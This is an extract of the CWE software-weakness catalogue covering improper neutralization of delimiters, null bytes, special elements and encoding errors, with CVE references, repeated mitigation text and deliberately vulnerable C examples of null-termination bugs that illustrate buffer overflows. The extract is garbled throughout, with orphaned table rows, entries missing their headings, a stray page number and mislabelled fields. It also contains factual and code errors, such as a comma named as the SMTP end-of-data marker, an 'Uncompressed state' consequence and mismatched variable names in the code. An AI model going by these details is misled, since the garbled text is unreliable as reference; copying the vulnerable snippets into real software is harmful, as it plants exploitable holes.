Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-147: Improper Neutralization of Input Terminators

Weakness ID: 147 (Weakness Variant) Status: Draft

Description
Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

Extended Description
For example, a "," in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-151: Improper Neutralization of Comment Delimiters

Weakness ID: 151 (Weakness Variant) Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- All

**Languages**
- All

**Common Consequences**
- Integrity
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0001</td>
<td>Mail client command execution due to improperly terminated comment in address list.</td>
</tr>
<tr>

</tr>
<tr>
<td>CVE-2005-1969</td>
<td>Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow &quot;&lt;!--&quot; while denying most other tags.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

<tr>
<td>CVE-2008-2018</td>
<td>Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation
Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

<td>Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelisted list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumerical or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-154: Improper Neutralization of Variable Name Delimiters

**Description**

**Summary**
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.

**Extended Description**
As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "$" for an environment variable.

</tr>
</tbody>
</table>

Potential Mitigations
Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-157: Failure to Sanitize Paired Delimiters

Weakness ID: 157 (Weakness Variant)  Status: Draft

Description

Summary

The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

Extended Description

Paired delimiters might include:
- `<` and `>` angle brackets
- `( ` and ` )` parentheses
- `{ ` and ` }` braces
- `[ ` and ` ]` square brackets
- " ` " double quotes
- ` ' ` single quotes

</tr>
<tr>
<td>CVE-2005-2933</td>
<td>Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
CWE-158: Improper Neutralization of Null Byte or NUL Character

**Summary**
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.
Extended Description
As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

<td>Null byte bypasses PHP regexp check (interaction error).</td>
</tr>
</tbody>
</table>

Potential Mitigations
Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-159: Failure to Sanitize Special Element

Weakness ID: 159 (Weakness Class) Status: Draft

Description
Summary
Weaknesses in this attack-focused category do not properly filter and interpret special elements in user-controlled input which could cause adverse effect on the software behavior and integrity.

Terminology Notes
Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

Time of Introduction
• Implementation

**Applicable Platforms**

**Languages**

• All

**Common Consequences**

Integrity
Unexpected state

**Potential Mitigations**

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Research Gaps

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

CWE-160: Improper Neutralization of Leading Special Elements

Weakness ID: 160 (Weakness Variant) Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Uncompressed state

Potential Mitigations

Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-164: Improper Neutralization of Internal Special Elements

Weakness ID: 164 (Weakness Variant) Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description
As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Unexpected state

**Potential Mitigations**

Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Description**

**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

**Extended Description**

As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Integrity
- Unexpected state

**Potential Mitigations**

Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelisted list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
CWE Version 2.11
CWE-166: Improper Handling of Missing Special Element

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

325
Potential Mitigations
Developers should anticipate that extra special elements will be injected in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
Extended Description
An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Availability
Access Control
Non-Repudiation
DoS: crash / exit / restart
Bypass protection mechanism
Hide activities

Potential Mitigations
Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

CWE-169: Technology-Specific Special Elements

Category ID: 169 (Category)  Status: Draft
Summary
Weaknesses in this category are related to improper handling of special elements within particular technologies.

Applicable Platforms
Languages
• Language-independent

Modes of Introduction
Special elements problems can arise from designs or languages that:
• Do not separate "code" from "data"
• Mix meta-information with information

Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Relationships

CWE-170: Improper Null Termination
Weakness ID: 170 (Weakness Base) Status: Incomplete
Description
Summary
The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
Extended Description
Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++
Platform Notes
Common Consequences
Confidentiality
Integrity
Availability
Read memory

Execute unauthorized code or commands
The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.

Confidentiality
Integrity
Availability
DoS: crash / exit / restart
Read memory
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could:
cause a crash due to a segmentation fault
cause sensitive adjacent memory to be copied and sent to an outsider
toggle a buffer overflow when the copy is being written to a fixed-size buffer

Integrity
Availability
Modify memory
DoS: crash / exit / restart
Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.

Integrity
Confidentiality
Availability
Access Control
Other
Alter execution logic
Execute unauthorized code or commands
Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.

Likelihood of Exploit
Medium

Demonstrative Examples
Example 1:
The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator.

C Example:

```c
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,input_buf); //requires null terminated input
...```
The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack.

**Example 2:**
In the following code, readlink() expands the name of a symbolic link stored in the buffer path so that the buffer filename contains the absolute path of the file referenced by the symbolic link. The length of the resulting value is then calculated using strlen().

**C Example:**

```c
char buf[MAXPATH];
...
readlink(path, buf, MAXPATH);
int length = strlen(filename);
...
```

The code above will not behave correctly because the value read into buf by readlink() will not be null terminated. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly. However, in the wild strlen() will continue traversing memory until it encounters an arbitrary NULL character on the stack, which results in a value of length that is much larger than the size of buf and may cause a buffer overflow in subsequent uses of this value. Buffer overflows aside, whenever a single call to readlink() returns the same value that has been passed to its third argument, it is impossible to know whether the name is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. Traditionally, strings are represented as a region of memory containing data terminated with a NULL character. Older string-handling methods frequently rely on this NULL character to determine the length of the string. If a buffer that does not contain a NULL terminator is passed to one of these functions, the function will read past the end of the buffer. Malicious users typically exploit this type of vulnerability by injecting data with unexpected size or content into the application. They may provide the malicious input either directly as input to the program or indirectly by modifying application resources, such as configuration files. In the event that an attacker causes the application to read beyond the bounds of a buffer, the attacker may be able use a resulting buffer overflow to inject and execute arbitrary code on the system.

**Example 3:**
While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

**C Example:**

```c
#include <stdio.h>
#include <string.h>
int main() {
    char longString[] = "String signifying nothing";
    char shortString[16];
    strncpy(shortString, longString, 16);
    printf("The last character in shortString is: %c %x\n", shortString[15]);
    return (0);
}
```

The above code gives the following output: The last character in shortString is: l 6c So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used.

</tr>
<tr>
<td>CVE-2009-2523</td>
<td>Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**
Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

**Implementation**
Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

**Implementation**
If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

**Implementation**
Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

**Implementation**
Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

White Box Definitions
A weakness where the code path has:
1. end statement that passes a data item to a null-terminated string function
2. start statement that produces the improper null-terminated data item

Where "produces" is defined through the following scenarios:
1. data item never ended with null-terminator
2. null-terminator is re-written

Maintenance Notes
As currently described, this entry is more like a category than a weakness.

CWE-171: Cleansing, Canonicalization, and Comparison Errors

Category ID: 171 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data.

CWE-172: Encoding Error

Summary
The software does not properly encode or decode the data, resulting in unexpected values.

Time of Introduction
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Integrity
  - Unexpected state

Potential Mitigations
CWE Version 2.11
CWE-172: Encoding Error

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Time of Introduction

- Implementation

Applicable Platforms

- Languages
  - All

Common Consequences

- Access Control
- Bypass protection mechanism

Potential Mitigations

- Architecture and Design
- Input Validation
  - Avoid making decisions based on names of resources (e.g., files) if those resources can have alternate names.
- Implementation
- Input Validation
